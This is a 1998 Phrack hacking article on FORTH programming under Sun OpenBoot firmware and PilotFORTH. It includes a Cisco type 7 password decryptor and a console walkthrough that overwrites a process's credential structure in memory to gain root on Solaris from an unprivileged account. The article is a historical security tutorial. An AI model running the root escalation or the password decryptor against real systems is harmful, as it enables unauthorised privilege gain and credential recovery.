Title : Hacking in Forth
Author : mudge
---[ Phrack Magazine Volume 8, Issue 53 July 8, 1998, article 09 of 15
-------------------------[ FORTH Hacking on Sparc Hardware
--------[ mudge <[email protected]>
L0pht Heavy Industries
[ http://www.L0pht.com ]
presents
FORTH Hacking on Sparc Hardware
[email protected]
[Disclaimer - you can really mess up your system by mucking about with
the information below if done incorrectly. Neither The L0pht, nor
the author, take any accountability for mis-use of this information.
Caution: Contents under pressure! ]
So here it is, about 12:45am on a Monday morning. SpaceRogue from the l0pht
just finished kicking my ass at darts the entire night although I managed to
enjoy myself anyway due to a plethora of Guinness. Route has been breathing
down my neck for an article for PHRACK and since the one I proposed to him
last time we both deemed as completely morally irresponsible (after all, we
like it that the Internet works on a _somewhat_ consistent basis), I find
myself dredging up bizarre tricks and knickknacks that I've been playing with.
FORTH. Well, I could say it's the wave of the future but is has been around
a long time and doesn't seem to be gaining tremendous popularity. However, it
turns out that it is an incredibly interesting programming language that,
whether you know it or not, plays a very key roll in some of our favorite
hardware. Sun Microsystems uses forth for their OpenBoot implementation.
What this means is that when you power on anything from an old Sun 3/60 that
is based off of the Motorola 680X0 to an UltraSparc Server based off of the
UltraSparc 64 bit processor, the hardware and initial bootstrapping code is
handled by a FORTH interpreter.
For a long time it was infrequent that a hacker would actually be able to lay
their hands, legitimately, on a piece of Sun hardware and play with the
OpenBoot prom. Nowadays I have watched companies throw out older Sun 2's,
Sun 3's and even Sparc ELC and IPC's in large quantities. Frequenting your
local Ham Radio or Tech flea markets can usually yield an older Sun system for
extremely short cash. Then again, if you work around them you have "free"
access to play with the hardware and sometimes that's what the game is all
about.
As it turns out I happen to have a Sparc at home, at the l0pht, and at work.
The first two were trash picked and the third is just due to the fact that
I stopped flipping burgers and decided to make the same amount of money
doing something I'm more interested in (grin). Yes, there are plenty of holes
still around in Solaris, SunOS, and the other operating systems that run on
the Sparc architecture (such as NeXTSTEP and the *BSD's) but it's always fun
to see how the system starts up as almost nobody seems to think about security
at that point. In this article we will start by writing a simple program to
turn the LED light on the hardware on and off. We will then write a cisco
type 7 password decryptor for Pforth - which is a FORTH interpreter written
for the 3Com PalmPilot PDA. At that point I will show how to change the
credential structure of a running process to 0 (root).
FORTH is a very simple, yet powerful language. It is tremendously small and
compact which lends it extremely well to embedded systems. This is one of the
main reasons that the bootstrapping of hardware and software on Suns is done
in FORTH. If you have ever used a scientific, or often referred to as "Reverse
Polish Notation", calculator then you understand the stack based premise
behind FORTH.
[elapsed time 1.5 weeks]
EEEKS! So I'm rummaging through some of my files and find that I've been
neglect in my duties of finishing this article... One moment, one more glass
of port (it's always good to move on to port after a few beers...). Ahh. Ok,
on to some basic Forth examples to get everybody in the right mindset. Let's
try the old standard of 2+3.
In stack based notation this is expressed as 2 3 +. Think of every element
being pushed onto the stack and then operands dealing with the top layers in
reverse order. Thus, 2 pushes the number 2 on the stack, 3 pushes the number
3 on the stack, and + says take the top two numbers off of the stack and
push the result on to the stack in their place [diagram 1].
[diagram 1]
2 3 +
--- --- ---
| 2 | | 3 | | 5 |
--- |---| ---
| 2 |
---
[note: to pop the top of the stack and display it on the screen type '.']
Simple? You bet. Try it out on your favorite piece of Sun hardware. L1-A
(the L1 key might be labeled 'Stop') give the following a shot:
<++> EX/4th/blink.4
ok :light-on
1 aux@ or aux! ;
ok :light-off
1 invert aux@ and aux! ;
ok
<-->
Now when you type light-on, the led on the front of the Sparc turns on.
Conversely, light-off turns the led off. On installations with OpenBoot 3.x
I believe this is a built in FORTH word as led-on and led-off. Older versions
of OpenBoot don't have this built in word - but now you can add it.
Here's what all of the above actually means -
:light-on - this marks the beginning of a new word definition which ends
when a semi-colon is seen.
1 - pushes 1 on the stack.
aux@ - takes the value stored in the aux register and pushes it
onto the stack.
or - takes the top two values from the stack, OR's them and leaves
the result in their place.
aux! - takes the value on the top of the stack and writes it to the
aux register.
; - ends the word definition.
:light-off - this marks the beginning of a new word definition which ends
when a semi-colon is seen.
1 - pushes 1 on the stack.
invert - inverts the bits or the value on the top of the stack
aux@ - takes the value stored in the aux register and pushes it
onto the stack.
and - takes the top two values from the stack, AND's them and leaves
the result in their place.
aux! - takes the value on the top of the stack and writes it to the
aux register.
; - ends the word definition.
[note - you can see the disassembly of the led-on / led-off words, if they
are in your openboot with ' ok led-on (see)' ]
----
The PalmPilot is a rockin' little PDA based off of the Motorola 68328
(DragonBall) processor. At the L0pht we all went out and picked up PalmPilots
as soon as we saw all of the wonderful unused features of the Motorola
processor in it. Ahhhh, taking us back to similar feelings of messing about in
the 6502.
PForth is a bit different from the OpenBoot forth implementation in some minor
ways - most notably in the default input bases and how words such as 'abort'
are handled. I figured a little app for the Pilot in FORTH might help people
see the usefulness of the language on other devices than the Sun firmware.
The porting of this to work in an OpenBoot environment is left as an exercise
to the reader.
The cisco type 7 password decryptor is a bit more complex than the led-on /
light-on example above [see the book references at the end of this article for
a much more thorough explanation of the FORTH language].
--begin cisco decryptor--
<++> EX/4th/cisco_decryptor.4
\ cisco-decrypt
include string
( argh! We cannot _create_ the )
( constant array as P4th dies )
( around the 12th byte - )
( thus the ugliness of setting it )
( up in :main .mudge)
variable ciscofoo 40 allot
variable encpw 60 allot
variable decpw 60 allot
variable strlen
variable seed
variable holder
:toupper ( char -- char )
dup dup 96 > rot 123 < and if
32 -
then ;
:ishexdigit ( char -- f )
dup dup 47 > rot 58 < and if
drop - 1
else
dup dup 64 > 71 < and if
drop - 1
else
drop 0 then then ;
:chartonum ( char -- i )
toupper
dup ishexdigit 0= if
abort" contains invalid char "
then
dup
58 < if
48 -
else
55 -
then ;
:main
100 ciscofoo 0 + C!
115 ciscofoo 1 + C!
102 ciscofoo 2 + C!
100 ciscofoo 3 + C!
59 ciscofoo 4 + C!
107 ciscofoo 5 + C!
115 ciscofoo 6 + C!
111 ciscofoo 7 + C!
65 ciscofoo 8 + C!
44 ciscofoo 9 + C!
46 ciscofoo 10 + C!
105 ciscofoo 11 + C!
121 ciscofoo 12 + C!
101 ciscofoo 13 + C!
119 ciscofoo 14 + C!
114 ciscofoo 15 + C!
107 ciscofoo 16 + C!
108 ciscofoo 17 + C!
100 ciscofoo 18 + C!
74 ciscofoo 19 + C!
75 ciscofoo 20 + C!
68 ciscofoo 21 + C!
32 word count (addr + 1, strlen )
strlen!
encpw strlen @ cmove> drop
cr
( make sure the string is > 3 chars )
strlen @ 4 < if abort" short input"
then
strlen @ 2 mod ( valid encpw's )
( must have even number of chars )
0= 0= if abort" odd input" then
encpw C@ 48 - 10 *
encpw 1 + C@ 48 - + seed!
seed @ 15 > if abort" incalid seed"
then
0 holder !
strlen @ 1 + 2 do
i 2 = 0= i 2 mod 0= and if
holder @ ciscofoo seed @ + C@ xor
emit
seed @ 1 + seed !
0 holder !
i strlen @ = if
cr quit then
then
i 2 mod 0= if
encpw i + C@ chartonum 16 *
holder !
else
encpw i + C@ chartonum holder @ +
holder !
then
loop ;
<-->
--end cisco decryptor--
Ok - after that brief little excursion we return to the Sparc hardware.
So, how can this information be used from a more traditional hacking
standpoint? Let's say you are sitting in front of a nice system running
Solaris but for whatever reason you only have an unprivileged account. Since
there is not any setup in the hardware to delineate different users and their
ability to access memory (well, not in the way you think about it inside of
Unix processes) you really have free roam of the system.
Each process is allocated a structure defining various aspects about itself.
This is needed when processes are swapped out and in to memory. As a regular
user you really aren't allowed to muck about in this structure but a quick
L1-A will get us around all of that. Peeking into /usr/include/sys/proc.h
shows that what we are really after is the process credentials structure.
This is located after a pointer to a vnode, a pointer to the process address
space, and two mutex locks. At that point there is a pointer to a cred struct
which has the process credentials. Inside the process credentials structure
you find :
reference count (long)
effective user id (short)
effective group id (short)
real user id (short)
real group id (short)
"saved" user id (short)
"saved" group id (short)
etc...
Eyes lighting up yet? All of these variables are accessible when you are at
the command prompt. The first thing that you need to figure out is the start
of the proc structure for a given process ID (PID). Let's assume I have a
shell running (tcsh in this case). In tcsh and csh the PID of the shell is
stored in $$.
Alliant+ ps -eaff | grep $$
mudge 914 913 1 15:29:31 pts/5 0:01 tcsh
Sure enough, that's my tcsh. Now simply use ps to find the beginning of
the proc structure:
Alliant+ ps -lp $$
F S UID PID PPID C PRI NI ADDR SZ WCHAN TTY TIME CMD
8 S 777 914 913 0 51 20 f5e09000 436 f5e091d0 pts/5 0:01 tcsh
You can find the layout of your proc structure in /usr/include/sys/proc.h.
From this it is apparent that the pointer to the credential structure is
located 24 bytes into the proc struct. In the above example that means the
pointer is at 0xf5e09000 + 0x18 or 0xf5e09018. The credential struct is
listed in /usr/include/sys/cred.h. From this we note that the effective user
id is 4 bytes into the cred structure.
Just so you can see that there's nothing hidden up my sleeves -
Alliant+ id
uid=777(mudge) gid=1(other)
Fire up the trusty OpenBoot system via L1-A and get the pointer to the
cred structure via :
ok hex f5e09000 18 + l@ .
f5a99858
ok go
Now, get the effective user id by
ok hex f5a99858 4 + l@ .
309 (309 hex == 777 decimal)
ok go
Of course you want to change this to 0 (euid root):
ok hex 0 f5a99858 4 + l!
ok go
check your credentials!
Alliant+ id
uid=777(mudge) gid=1(other) euid=0(root)
If you want to change the real user id it would be an offset of 12 (0xc):
ok hex 0 f5a99858 c + l!
ok go
Alliant+ id
uid=0(root) gid=1(other)
Needless to say, there's a whole different world living inside that hardware
in front of you that is begging to be played and fiddled with. Keep in mind
that you can do serious damage by mucking around in there though.
enjoy,
[email protected]
---
http://www.l0pht.com
---
Some excellent FORTH books that you should get to learn more about this are:
Starting FORTH, Leo Brodie, Prentice-Hall, Inc. ISBN 0-13-842922-7
OpenBoot 3.x Command Reference Manual, SunSoft [get from a Sun Reseller]
Pilot FORTH was written by Neal Bridges ([email protected]) -
http://www.interlog.com/~nbridges
----[ EOF